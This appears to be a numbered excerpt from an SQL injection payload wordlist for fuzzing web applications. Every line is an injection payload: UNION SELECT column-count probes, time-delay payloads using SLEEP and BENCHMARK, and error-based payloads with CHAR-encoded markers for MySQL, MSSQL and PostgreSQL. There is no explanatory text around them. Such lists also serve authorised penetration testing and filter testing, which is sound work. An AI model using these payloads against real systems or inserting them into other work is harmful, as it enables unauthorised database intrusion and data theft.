513 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9--
514 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
515 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11--
516 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12--
517 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13--
518 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14--
519 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
520 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
521 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
522 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
523 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
524 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
525 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
526 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--
527 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
528 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
529 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
530 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--
531 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--
532 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--
533 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--
534 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--
535 | UNION SELECT @@VERSION,SLEEP(5),3
536 | UNION SELECT @@VERSION,SLEEP(5),USER(),4
537 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5
538 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6
539 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7
540 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8
541 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9
542 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10
543 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11
544 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12
545 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13
546 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14
547 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15
548 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16
549 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17
550 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18
551 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
552 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
553 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
554 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
555 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
556 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
557 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
558 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
559 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
560 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
561 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
562 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
563 | UNION SELECT @@VERSION,SLEEP(5),"'3
564 | UNION SELECT @@VERSION,SLEEP(5),"'3'"#
565 | UNION SELECT @@VERSION,SLEEP(5),USER(),4#
566 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5#
567 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6#
568 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7#
569 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8#
570 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9#
571 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10#
572 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11#
573 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12#
574 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13#
575 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14#
576 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15#
577 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16#
578 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17#
579 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18#
580 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
581 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
582 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
583 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
584 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
585 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
586 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
587 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
588 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
589 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
590 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#
591 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#
592 | UNION ALL SELECT USER()--
593 | UNION ALL SELECT SLEEP(5)--
594 | UNION ALL SELECT USER(),SLEEP(5)--
595 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5)--
596 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A'))--
597 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL--
598 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL--
599 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL--
600 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL--
601 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL--
602 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL--
603 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL--
604 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
605 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
606 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
607 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
608 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
609 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
610 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
611 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
612 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
613 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
614 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
615 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
616 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
617 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
618 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
619 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
620 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
621 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
622 | UNION ALL SELECT NULL--
623 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))--
624 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))--
625 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))--
626 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))--
627 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))--
628 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))--
629 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))--
630 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))--
631 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))--
632 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))--
633 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))--
634 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))--
635 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))--
636 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))--
637 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))--
638 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))--
639 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))--
640 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))--
641 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))--
642 | UNION ALL SELECT NULL#
643 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))#
644 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))#
645 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))#
646 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
647 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
648 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
649 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))#
650 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))#
651 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))#
652 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))#
653 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))#
654 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))#
655 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))#
656 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))#
657 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))#
658 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))#
659 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))#
660 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))#
661 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))#
662 | UNION ALL SELECT NULL
663 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))
664 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))
665 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))
666 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
667 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
668 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
669 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))
670 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))
671 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))
672 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))
673 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))
674 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))
675 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))
676 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))
677 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))
678 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))
679 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))
680 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))
681 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))
682 | AND 5650=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5650=5650) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))
683 | AND 3516=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (3516=3516) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC)
684 | AND (SELECT 4523 FROM(SELECT COUNT(*),CONCAT(0x716a7a6a71,(SELECT (ELT(4523=4523,1))),0x71706a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
685 | UNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+CHAR(110)+CHAR(106)+CHAR(99)+CHAR(73)+CHAR(66)+CHAR(109)+CHAR(119)+CHAR(81)+CHAR(108)+CHAR(88)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113),NULL--
686 | UNION ALL SELECT 'INJ'||'ECT'||'XXX'
